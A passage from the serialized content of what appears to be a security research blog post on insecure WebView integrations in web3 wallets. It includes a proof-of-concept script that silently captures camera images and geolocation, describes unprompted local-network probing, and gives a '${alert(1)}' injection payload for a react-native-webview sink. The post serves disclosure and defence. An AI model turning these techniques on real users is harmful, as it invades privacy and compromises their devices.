connect",{"type":23,"tag":213,"props":157858,"children":157859},{"style":274},[157860],{"type":28,"value":124},{"type":23,"tag":213,"props":157862,"children":157863},{"style":257},[157864],{"type":28,"value":157865},"onclick",{"type":23,"tag":213,"props":157867,"children":157868},{"style":274},[157869],{"type":28,"value":32967},{"type":23,"tag":213,"props":157871,"children":157872},{"style":268},[157873],{"type":28,"value":51507},{"type":23,"tag":213,"props":157875,"children":157876},{"style":230},[157877],{"type":28,"value":27808},{"type":23,"tag":213,"props":157879,"children":157880},{"style":274},[157881],{"type":28,"value":1375},{"type":23,"tag":213,"props":157883,"children":157884},{"class":215,"line":23600},[157885,157890,157894,157899],{"type":23,"tag":213,"props":157886,"children":157887},{"style":268},[157888],{"type":28,"value":157889}," video",{"type":23,"tag":213,"props":157891,"children":157892},{"style":274},[157893],{"type":28,"value":124},{"type":23,"tag":213,"props":157895,"children":157896},{"style":257},[157897],{"type":28,"value":157898},"play",{"type":23,"tag":213,"props":157900,"children":157901},{"style":274},[157902],{"type":28,"value":3759},{"type":23,"tag":213,"props":157904,"children":157905},{"class":215,"line":23608},[157906],{"type":23,"tag":213,"props":157907,"children":157908},{"emptyLinePlaceholder":18},[157909],{"type":28,"value":530},{"type":23,"tag":213,"props":157911,"children":157912},{"class":215,"line":23617},[157913,157917,157921,157926,157930,157935,157939,157944,157948,157952,157956,157960,157964,157968],{"type":23,"tag":213,"props":157914,"children":157915},{"style":268},[157916],{"type":28,"value":157767},{"type":23,"tag":213,"props":157918,"children":157919},{"style":274},[157920],{"type":28,"value":124},{"type":23,"tag":213,"props":157922,"children":157923},{"style":257},[157924],{"type":28,"value":157925},"getContext",{"type":23,"tag":213,"props":157927,"children":157928},{"style":274},[157929],{"type":28,"value":265},{"type":23,"tag":213,"props":157931,"children":157932},{"style":246},[157933],{"type":28,"value":157934},"\"2d\"",{"type":23,"tag":213,"props":157936,"children":157937},{"style":274},[157938],{"type":28,"value":20796},{"type":23,"tag":213,"props":157940,"children":157941},{"style":257},[157942],{"type":28,"value":157943},"drawImage",{"type":23,"tag":213,"props":157945,"children":157946},{"style":274},[157947],{"type":28,"value":265},{"type":23,"tag":213,"props":157949,"children":157950},{"style":268},[157951],{"type":28,"value":131911},{"type":23,"tag":213,"props":157953,"children":157954},{"style":274},[157955],{"type":28,"value":424},{"type":23,"tag":213,"props":157957,"children":157958},{"style":514},[157959],{"type":28,"value":4116},{"type":23,"tag":213,"props":157961,"children":157962},{"style":274},[157963],{"type":28,"value":424},{"type":23,"tag":213,"props":157965,"children":157966},{"style":514},[157967],{"type":28,"value":4116},{"type":23,"tag":213,"props":157969,"children":157970},{"style":274},[157971],{"type":28,"value":2867},{"type":23,"tag":213,"props":157973,"children":157974},{"class":215,"line":23659},[157975,157980,157984,157989,157993,157998,158002,158006,158010,158015,158019,158024],{"type":23,"tag":213,"props":157976,"children":157977},{"style":268},[157978],{"type":28,"value":157979}," stream",{"type":23,"tag":213,"props":157981,"children":157982},{"style":274},[157983],{"type":28,"value":124},{"type":23,"tag":213,"props":157985,"children":157986},{"style":257},[157987],{"type":28,"value":157988},"getTracks",{"type":23,"tag":213,"props":157990,"children":157991},{"style":274},[157992],{"type":28,"value":30223},{"type":23,"tag":213,"props":157994,"children":157995},{"style":257},[157996],{"type":28,"value":157997},"forEach",{"type":23,"tag":213,"props":157999,"children":158000},{"style":274},[158001],{"type":28,"value":265},{"type":23,"tag":213,"props":158003,"children":158004},{"style":268},[158005],{"type":28,"value":21779},{"type":23,"tag":213,"props":158007,"children":158008},{"style":230},[158009],{"type":28,"value":27808},{"type":23,"tag":213,"props":158011,"children":158012},{"style":268},[158013],{"type":28,"value":158014}," t",{"type":23,"tag":213,"props":158016,"children":158017},{"style":274},[158018],{"type":28,"value":124},{"type":23,"tag":213,"props":158020,"children":158021},{"style":257},[158022],{"type":28,"value":158023},"stop",{"type":23,"tag":213,"props":158025,"children":158026},{"style":274},[158027],{"type":28,"value":15484},{"type":23,"tag":213,"props":158029,"children":158030},{"class":215,"line":23692},[158031,158035,158039,158044,158048,158052,158056,158060],{"type":23,"tag":213,"props":158032,"children":158033},{"style":268},[158034],{"type":28,"value":157767},{"type":23,"tag":213,"props":158036,"children":158037},{"style":274},[158038],{"type":28,"value":124},{"type":23,"tag":213,"props":158040,"children":158041},{"style":257},[158042],{"type":28,"value":158043},"toBlob",{"type":23,"tag":213,"props":158045,"children":158046},{"style":274},[158047],{"type":28,"value":31579},{"type":23,"tag":213,"props":158049,"children":158050},{"style":268},[158051],{"type":28,"value":33004},{"type":23,"tag":213,"props":158053,"children":158054},{"style":274},[158055],{"type":28,"value":298},{"type":23,"tag":213,"props":158057,"children":158058},{"style":230},[158059],{"type":28,"value":1445},{"type":23,"tag":213,"props":158061,"children":158062},{"style":274},[158063],{"type":28,"value":1375},{"type":23,"tag":213,"props":158065,"children":158066},{"class":215,"line":23700},[158067,158072,158076,158080,158084,158089,158093,158098,158102,158106],{"type":23,"tag":213,"props":158068,"children":158069},{"style":268},[158070],{"type":28,"value":158071}," pic",{"type":23,"tag":213,"props":158073,"children":158074},{"style":274},[158075],{"type":28,"value":124},{"type":23,"tag":213,"props":158077,"children":158078},{"style":268},[158079],{"type":28,"value":32725},{"type":23,"tag":213,"props":158081,"children":158082},{"style":274},[158083],{"type":28,"value":32967},{"type":23,"tag":213,"props":158085,"children":158086},{"style":268},[158087],{"type":28,"value":158088},"URL",{"type":23,"tag":213,"props":158090,"children":158091},{"style":274},[158092],{"type":28,"value":124},{"type":23,"tag":213,"props":158094,"children":158095},{"style":257},[158096],{"type":28,"value":158097},"createObjectURL",{"type":23,"tag":213,"props":158099,"children":158100},{"style":274},[158101],{"type":28,"value":265},{"type":23,"tag":213,"props":158103,"children":158104},{"style":268},[158105],{"type":28,"value":33004},{"type":23,"tag":213,"props":158107,"children":158108},{"style":274},[158109],{"type":28,"value":2867},{"type":23,"tag":213,"props":158111,"children":158112},{"class":215,"line":23708},[158113],{"type":23,"tag":213,"props":158114,"children":158115},{"style":274},[158116],{"type":28,"value":158117}," });\n",{"type":23,"tag":213,"props":158119,"children":158120},{"class":215,"line":23717},[158121],{"type":23,"tag":213,"props":158122,"children":158123},{"emptyLinePlaceholder":18},[158124],{"type":28,"value":530},{"type":23,"tag":213,"props":158126,"children":158127},{"class":215,"line":23793},[158128,158133,158137,158142,158146,158151,158155,158160,158164],{"type":23,"tag":213,"props":158129,"children":158130},{"style":268},[158131],{"type":28,"value":158132}," navigator",{"type":23,"tag":213,"props":158134,"children":158135},{"style":274},[158136],{"type":28,"value":124},{"type":23,"tag":213,"props":158138,"children":158139},{"style":268},[158140],{"type":28,"value":158141},"geolocation",{"type":23,"tag":213,"props":158143,"children":158144},{"style":274},[158145],{"type":28,"value":124},{"type":23,"tag":213,"props":158147,"children":158148},{"style":257},[158149],{"type":28,"value":158150},"getCurrentPosition",{"type":23,"tag":213,"props":158152,"children":158153},{"style":274},[158154],{"type":28,"value":265},{"type":23,"tag":213,"props":158156,"children":158157},{"style":268},[158158],{"type":28,"value":158159},"pos",{"type":23,"tag":213,"props":158161,"children":158162},{"style":230},[158163],{"type":28,"value":27808},{"type":23,"tag":213,"props":158165,"children":158166},{"style":274},[158167],{"type":28,"value":1375},{"type":23,"tag":213,"props":158169,"children":158170},{"class":215,"line":23826},[158171,158176,158180,158184,158188,158192,158197],{"type":23,"tag":213,"props":158172,"children":158173},{"style":230},[158174],{"type":28,"value":158175}," const",{"type":23,"tag":213,"props":158177,"children":158178},{"style":268},[158179],{"type":28,"value":37503},{"type":23,"tag":213,"props":158181,"children":158182},{"style":274},[158183],{"type":28,"value":32967},{"type":23,"tag":213,"props":158185,"children":158186},{"style":268},[158187],{"type":28,"value":158159},{"type":23,"tag":213,"props":158189,"children":158190},{"style":274},[158191],{"type":28,"value":124},{"type":23,"tag":213,"props":158193,"children":158194},{"style":268},[158195],{"type":28,"value":158196},"coords",{"type":23,"tag":213,"props":158198,"children":158199},{"style":274},[158200],{"type":28,"value":313},{"type":23,"tag":213,"props":158202,"children":158203},{"class":215,"line":23834},[158204,158209,158213,158217,158221,158226,158230,158234,158238,158243,158247,158252,158256,158260,158264,158268,158272,158277,158281,158285,158289,158294,158298,158302,158306,158310,158314,158318,158322],{"type":23,"tag":213,"props":158205,"children":158206},{"style":268},[158207],{"type":28,"value":158208}," gps",{"type":23,"tag":213,"props":158210,"children":158211},{"style":274},[158212],{"type":28,"value":124},{"type":23,"tag":213,"props":158214,"children":158215},{"style":268},[158216],{"type":28,"value":35021},{"type":23,"tag":213,"props":158218,"children":158219},{"style":274},[158220],{"type":28,"value":32967},{"type":23,"tag":213,"props":158222,"children":158223},{"style":246},[158224],{"type":28,"value":158225},"`Lat: ",{"type":23,"tag":213,"props":158227,"children":158228},{"style":230},[158229],{"type":28,"value":34165},{"type":23,"tag":213,"props":158231,"children":158232},{"style":268},[158233],{"type":28,"value":3244},{"type":23,"tag":213,"props":158235,"children":158236},{"style":274},[158237],{"type":28,"value":124},{"type":23,"tag":213,"props":158239,"children":158240},{"style":268},[158241],{"type":28,"value":158242},"latitude",{"type":23,"tag":213,"props":158244,"children":158245},{"style":274},[158246],{"type":28,"value":124},{"type":23,"tag":213,"props":158248,"children":158249},{"style":257},[158250],{"type":28,"value":158251},"toFixed",{"type":23,"tag":213,"props":158253,"children":158254},{"style":274},[158255],{"type":28,"value":265},{"type":23,"tag":213,"props":158257,"children":158258},{"style":514},[158259],{"type":28,"value":4106},{"type":23,"tag":213,"props":158261,"children":158262},{"style":274},[158263],{"type":28,"value":2121},{"type":23,"tag":213,"props":158265,"children":158266},{"style":230},[158267],{"type":28,"value":34197},{"type":23,"tag":213,"props":158269,"children":158270},{"style":48425},[158271],{"type":28,"value":48428},{"type":23,"tag":213,"props":158273,"children":158274},{"style":246},[158275],{"type":28,"value":158276},"Lon: ",{"type":23,"tag":213,"props":158278,"children":158279},{"style":230},[158280],{"type":28,"value":34165},{"type":23,"tag":213,"props":158282,"children":158283},{"style":268},[158284],{"type":28,"value":3244},{"type":23,"tag":213,"props":158286,"children":158287},{"style":274},[158288],{"type":28,"value":124},{"type":23,"tag":213,"props":158290,"children":158291},{"style":268},[158292],{"type":28,"value":158293},"longitude",{"type":23,"tag":213,"props":158295,"children":158296},{"style":274},[158297],{"type":28,"value":124},{"type":23,"tag":213,"props":158299,"children":158300},{"style":257},[158301],{"type":28,"value":158251},{"type":23,"tag":213,"props":158303,"children":158304},{"style":274},[158305],{"type":28,"value":265},{"type":23,"tag":213,"props":158307,"children":158308},{"style":514},[158309],{"type":28,"value":4106},{"type":23,"tag":213,"props":158311,"children":158312},{"style":274},[158313],{"type":28,"value":2121},{"type":23,"tag":213,"props":158315,"children":158316},{"style":230},[158317],{"type":28,"value":34197},{"type":23,"tag":213,"props":158319,"children":158320},{"style":246},[158321],{"type":28,"value":10465},{"type":23,"tag":213,"props":158323,"children":158324},{"style":274},[158325],{"type":28,"value":313},{"type":23,"tag":213,"props":158327,"children":158328},{"class":215,"line":23842},[158329,158334,158338,158342,158347,158351,158355],{"type":23,"tag":213,"props":158330,"children":158331},{"style":274},[158332],{"type":28,"value":158333}," }, ",{"type":23,"tag":213,"props":158335,"children":158336},{"style":268},[158337],{"type":28,"value":48472},{"type":23,"tag":213,"props":158339,"children":158340},{"style":230},[158341],{"type":28,"value":27808},{"type":23,"tag":213,"props":158343,"children":158344},{"style":257},[158345],{"type":28,"value":158346}," alert",{"type":23,"tag":213,"props":158348,"children":158349},{"style":274},[158350],{"type":28,"value":265},{"type":23,"tag":213,"props":158352,"children":158353},{"style":268},[158354],{"type":28,"value":48472},{"type":23,"tag":213,"props":158356,"children":158357},{"style":274},[158358],{"type":28,"value":7313},{"type":23,"tag":213,"props":158360,"children":158361},{"class":215,"line":23879},[158362],{"type":23,"tag":213,"props":158363,"children":158364},{"style":274},[158365],{"type":28,"value":48126},{"type":23,"tag":213,"props":158367,"children":158368},{"class":215,"line":23892},[158369],{"type":23,"tag":213,"props":158370,"children":158371},{"emptyLinePlaceholder":18},[158372],{"type":28,"value":530},{"type":23,"tag":213,"props":158374,"children":158375},{"class":215,"line":23905},[158376],{"type":23,"tag":213,"props":158377,"children":158378},{"style":274},[158379],{"type":28,"value":3444},{"type":23,"tag":213,"props":158381,"children":158382},{"class":215,"line":23918},[158383,158388],{"type":23,"tag":213,"props":158384,"children":158385},{"style":257},[158386],{"type":28,"value":158387}," main",{"type":23,"tag":213,"props":158389,"children":158390},{"style":274},[158391],{"type":28,"value":3759},{"type":23,"tag":213,"props":158393,"children":158394},{"class":215,"line":23972},[158395,158399,158403],{"type":23,"tag":213,"props":158396,"children":158397},{"style":32431},[158398],{"type":28,"value":32884},{"type":23,"tag":213,"props":158400,"children":158401},{"style":230},[158402],{"type":28,"value":32471},{"type":23,"tag":213,"props":158404,"children":158405},{"style":32431},[158406],{"type":28,"value":6084},{"type":23,"tag":213,"props":158408,"children":158409},{"class":215,"line":23980},[158410,158414,158418],{"type":23,"tag":213,"props":158411,"children":158412},{"style":32431},[158413],{"type":28,"value":32485},{"type":23,"tag":213,"props":158415,"children":158416},{"style":230},[158417],{"type":28,"value":32455},{"type":23,"tag":213,"props":158419,"children":158420},{"style":32431},[158421],{"type":28,"value":6084},{"type":23,"tag":213,"props":158423,"children":158424},{"class":215,"line":32336},[158425,158429,158433],{"type":23,"tag":213,"props":158426,"children":158427},{"style":32431},[158428],{"type":28,"value":32485},{"type":23,"tag":213,"props":158430,"children":158431},{"style":230},[158432],{"type":28,"value":32438},{"type":23,"tag":213,"props":158434,"children":158435},{"style":32431},[158436],{"type":28,"value":6084},{"type":23,"tag":18945,"props":158438,"children":158439},{"id":4321},[158440],{"type":28,"value":4324},{"type":23,"tag":24,"props":158442,"children":158443},{},[158444],{"type":28,"value":158445},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":24,"props":158447,"children":158448},{},[158449,158451,158457],{"type":28,"value":158450},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":36,"props":158452,"children":158455},{"href":158453,"rel":158454},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[40],[158456],{"type":28,"value":47636},{"type":28,"value":124},{"type":23,"tag":31402,"props":158459,"children":158460},{"style":31404},[158461],{"type":23,"tag":4009,"props":158462,"children":158466},{"src":158463,"alt":158464,"style":158465},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":158468,"children":158469},{},[158470],{"type":28,"value":158471},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":47,"props":158473,"children":158475},{"id":158474},"local-network-access",[158476],{"type":28,"value":158477},"Local Network Access",{"type":23,"tag":24,"props":158479,"children":158480},{},[158481,158483,158490,158492,158498],{"type":28,"value":158482},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":36,"props":158484,"children":158487},{"href":158485,"rel":158486},"https://wicg.github.io/private-network-access/",[40],[158488],{"type":28,"value":158489},"Private Network Access",{"type":28,"value":158491}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":36,"props":158493,"children":158496},{"href":158494,"rel":158495},"https://x.com/taviso/status/2051310678800253318",[40],[158497],{"type":28,"value":158494},{"type":28,"value":158499},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":31402,"props":158501,"children":158502},{"style":31404},[158503],{"type":23,"tag":4009,"props":158504,"children":158507},{"src":158505,"alt":158464,"style":158506},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":158509,"children":158510},{},[158511],{"type":28,"value":158512},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":158514,"props":158515,"children":158518},"zoom-image",{"src":158516,"alt":158517},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":24,"props":158520,"children":158521},{},[158522],{"type":28,"value":158523},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":168,"props":158525,"children":158526},{},[158527,158532,158537],{"type":23,"tag":135,"props":158528,"children":158529},{},[158530],{"type":28,"value":158531},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":135,"props":158533,"children":158534},{},[158535],{"type":28,"value":158536},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":135,"props":158538,"children":158539},{},[158540],{"type":28,"value":158541},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":24,"props":158543,"children":158544},{},[158545],{"type":28,"value":158546},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":47,"props":158548,"children":158550},{"id":158549},"uxss-by-code-injection",[158551],{"type":28,"value":158552},"UXSS by Code Injection",{"type":23,"tag":24,"props":158554,"children":158555},{},[158556,158558,158564],{"type":28,"value":158557},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":209,"props":158559,"children":158561},{"className":158560},[],[158562],{"type":28,"value":158563},"injectJavascriptObject",{"type":28,"value":158565}," attribute worked. Here is the code snippet:",{"type":23,"tag":202,"props":158567,"children":158569},{"className":156805,"code":158568,"language":156807,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[158570],{"type":23,"tag":209,"props":158571,"children":158572},{"__ignoreMap":7},[158573,158593,158622,158656,158711,158816,158828,158841],{"type":23,"tag":213,"props":158574,"children":158575},{"class":215,"line":216},[158576,158580,158584,158589],{"type":23,"tag":213,"props":158577,"children":158578},{"style":230},[158579],{"type":28,"value":70836},{"type":23,"tag":213,"props":158581,"children":158582},{"style":290},[158583],{"type":28,"value":51102},{"type":23,"tag":213,"props":158585,"children":158586},{"style":257},[158587],{"type":28,"value":158588}," injectJavascriptObject",{"type":23,"tag":213,"props":158590,"children":158591},{"style":220},[158592],{"type":28,"value":15791},{"type":23,"tag":213,"props":158594,"children":158595},{"class":215,"line":226},[158596,158600,158604,158609,158613,158618],{"type":23,"tag":213,"props":158597,"children":158598},{"style":1362},[158599],{"type":28,"value":39344},{"type":23,"tag":213,"props":158601,"children":158602},{"style":220},[158603],{"type":28,"value":400},{"type":23,"tag":213,"props":158605,"children":158606},{"style":257},[158607],{"type":28,"value":158608},"getSettings",{"type":23,"tag":213,"props":158610,"children":158611},{"style":220},[158612],{"type":28,"value":30223},{"type":23,"tag":213,"props":158614,"children":158615},{"style":257},[158616],{"type":28,"value":158617},"getJavaScriptEnabled",{"type":23,"tag":213,"props":158619,"children":158620},{"style":220},[158621],{"type":28,"value":92074},{"type":23,"tag":213,"props":158623,"children":158624},{"class":215,"line":524},[158625,158630,158635,158639,158644,158648,158652],{"type":23,"tag":213,"props":158626,"children":158627},{"style":290},[158628],{"type":28,"value":158629}," String",{"type":23,"tag":213,"props":158631,"children":158632},{"style":268},[158633],{"type":28,"value":158634}," js",{"type":23,"tag":213,"props":158636,"children":158637},{"style":274},[158638],{"type":28,"value":511},{"type":23,"tag":213,"props":158640,"children":158641},{"style":246},[158642],{"type":28,"value":158643}," \"(function(){",{"type":23,"tag":213,"props":158645,"children":158646},{"style":48425},[158647],{"type":28,"value":48428},{"type":23,"tag":213,"props":158649,"children":158650},{"style":246},[158651],{"type":28,"value":20114},{"type":23,"tag":213,"props":158653,"children":158654},{"style":274},[158655],{"type":28,"value":9871},{"type":23,"tag":213,"props":158657,"children":158658},{"class":215,"line":533},[158659,158664,158668,158673,158677,158682,158686,158690,158694,158699,158703,158707],{"type":23,"tag":213,"props":158660,"children":158661},{"style":246},[158662],{"type":28,"value":158663}," \" window.\"",{"type":23,"tag":213,"props":158665,"children":158666},{"style":274},[158667],{"type":28,"value":8989},{"type":23,"tag":213,"props":158669,"children":158670},{"style":220},[158671],{"type":28,"value":158672}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":213,"props":158674,"children":158675},{"style":274},[158676],{"type":28,"value":2703},{"type":23,"tag":213,"props":158678,"children":158679},{"style":246},[158680],{"type":28,"value":158681}," \" = window.\"",{"type":23,"tag":213,"props":158683,"children":158684},{"style":274},[158685],{"type":28,"value":8989},{"type":23,"tag":213,"props":158687,"children":158688},{"style":220},[158689],{"type":28,"value":158672},{"type":23,"tag":213,"props":158691,"children":158692},{"style":274},[158693],{"type":28,"value":2703},{"type":23,"tag":213,"props":158695,"children":158696},{"style":246},[158697],{"type":28,"value":158698}," \" || {};",{"type":23,"tag":213,"props":158700,"children":158701},{"style":48425},[158702],{"type":28,"value":48428},{"type":23,"tag":213,"props":158704,"children":158705},{"style":246},[158706],{"type":28,"value":20114},{"type":23,"tag":213,"props":158708,"children":158709},{"style":274},[158710],{"type":28,"value":9871},{"type":23,"tag":213,"props":158712,"children":158713},{"class":215,"line":543},[158714,158718,158722,158726,158730,158735,158739,158744,158748,158752,158756,158760,158764,158768,158773,158777,158782,158786,158791,158795,158799,158804,158808,158812],{"type":23,"tag":213,"props":158715,"children":158716},{"style":246},[158717],{"type":28,"value":158663},{"type":23,"tag":213,"props":158719,"children":158720},{"style":274},[158721],{"type":28,"value":8989},{"type":23,"tag":213,"props":158723,"children":158724},{"style":220},[158725],{"type":28,"value":158672},{"type":23,"tag":213,"props":158727,"children":158728},{"style":274},[158729],{"type":28,"value":2703},{"type":23,"tag":213,"props":158731,"children":158732},{"style":246},[158733],{"type":28,"value":158734}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":213,"props":158736,"children":158737},{"style":274},[158738],{"type":28,"value":8989},{"type":23,"tag":213,"props":158740,"children":158741},{"style":220},[158742],{"type":28,"value":158743}," (injectedJavaScriptObject ",{"type":23,"tag":213,"props":158745,"children":158746},{"style":274},[158747],{"type":28,"value":8660},{"type":23,"tag":213,"props":158749,"children":158750},{"style":230},[158751],{"type":28,"value":70322},{"type":23,"tag":213,"props":158753,"children":158754},{"style":1362},[158755],{"type":28,"value":98094},{"type":23,"tag":213,"props":158757,"children":158758},{"style":230},[158759],{"type":28,"value":70322},{"type":23,"tag":213,"props":158761,"children":158762},{"style":1362},[158763],{"type":28,"value":35173},{"type":23,"tag":213,"props":158765,"children":158766},{"style":220},[158767],{"type":28,"value":400},{"type":23,"tag":213,"props":158769,"children":158770},{"style":246},[158771],{"type":28,"value":158772},"\"`\"",{"type":23,"tag":213,"props":158774,"children":158775},{"style":274},[158776],{"type":28,"value":8989},{"type":23,"tag":213,"props":158778,"children":158779},{"style":220},[158780],{"type":28,"value":158781}," injectedJavaScriptObject ",{"type":23,"tag":213,"props":158783,"children":158784},{"style":274},[158785],{"type":28,"value":2703},{"type":23,"tag":213,"props":158787,"children":158788},{"style":246},[158789],{"type":28,"value":158790}," \"`\"",{"type":23,"tag":213,"props":158792,"children":158793},{"style":220},[158794],{"type":28,"value":8922},{"type":23,"tag":213,"props":158796,"children":158797},{"style":274},[158798],{"type":28,"value":2703},{"type":23,"tag":213,"props":158800,"children":158801},{"style":246},[158802],{"type":28,"value":158803}," \"; };",{"type":23,"tag":213,"props":158805,"children":158806},{"style":48425},[158807],{"type":28,"value":48428},{"type":23,"tag":213,"props":158809,"children":158810},{"style":246},[158811],{"type":28,"value":20114},{"type":23,"tag":213,"props":158813,"children":158814},{"style":274},[158815],{"type":28,"value":9871},{"type":23,"tag":213,"props":158817,"children":158818},{"class":215,"line":551},[158819,158824],{"type":23,"tag":213,"props":158820,"children":158821},{"style":246},[158822],{"type":28,"value":158823}," \"})();\"",{"type":23,"tag":213,"props":158825,"children":158826},{"style":220},[158827],{"type":28,"value":313},{"type":23,"tag":213,"props":158829,"children":158830},{"class":215,"line":570},[158831,158836],{"type":23,"tag":213,"props":158832,"children":158833},{"style":257},[158834],{"type":28,"value":158835}," evaluateJavascriptWithFallback",{"type":23,"tag":213,"props":158837,"children":158838},{"style":220},[158839],{"type":28,"value":158840},"(js);\n",{"type":23,"tag":213,"props":158842,"children":158843},{"class":215,"line":655},[158844],{"type":23,"tag":213,"props":158845,"children":158846},{"style":220},[158847],{"type":28,"value":12746},{"type":23,"tag":24,"props":158849,"children":158850},{},[158851,158853,158859,158861,158866,158868,158874],{"type":28,"value":158852},"It basically injects a javascript code with the ",{"type":23,"tag":209,"props":158854,"children":158856},{"className":158855},[],[158857],{"type":28,"value":158858},"injectedJavascriptObject",{"type":28,"value":158860}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":209,"props":158862,"children":158864},{"className":158863},[],[158865],{"type":28,"value":158858},{"type":28,"value":158867},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":209,"props":158869,"children":158871},{"className":158870},[],[158872],{"type":28,"value":158873},"${alert(1)}",{"type":28,"value":158875}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":24,"props":158877,"children":158878},{},[158879,158881,158888],{"type":28,"value":158880},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":36,"props":158882,"children":158885},{"href":158883,"rel":158884},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[40],[158886],{"type":28,"value":158887},"PR with the report and fix",{"type":28,"value":124},{"type":23,"tag":24,"props":158890,"children":158891},{},[158892],{"type":28,"value":158893},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":24,"props":158895,"children":158896},{},[158897,158899,158905],{"type":28,"value":158898},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":209,"props":158900,"children":158902},{"className":158901},[],[158903],{"type":28,"value":158904},"injectedJavaScriptObject",{"type":28,"value":158906}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":9693,"props":158908,"children":158909},{"id":28989},[158910],{"type":28,"value":19000},{"type":23,"tag":24,"props":158912,"children":158913},{},[158914],{"type":28,"value":158915},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":2957,"props":158917,"children":158918},{},[158919],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":158921},[158922,158926,158929,158930],{"id":156645,"depth":226,"text":156648,"children":158923},[158924,158925],{"id":156656,"depth":524,"text":156659},{"id":156731,"depth":524,"text":156734},{"id":156764,"depth":226,"text":156767,"children":158927},[158928],{"id":156954,"depth":524,"text":156957},{"id":158474,"depth":226,"text":158477},{"id":158549,"depth":226,"text":158552,"children":158931},[158932],{"id":28989,"depth":524,"text":19000},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":158937,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158938,"description":158939,"date":158940,"author":158941,"image":158942,"isFeatured":18,"onBlogPage":18,"tags":158946,"hideToc":18,"body":158950,"_type":2967,"_id":165588,"_source":2969,"_file":165589,"_stem":165590,"_extension":2972},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue 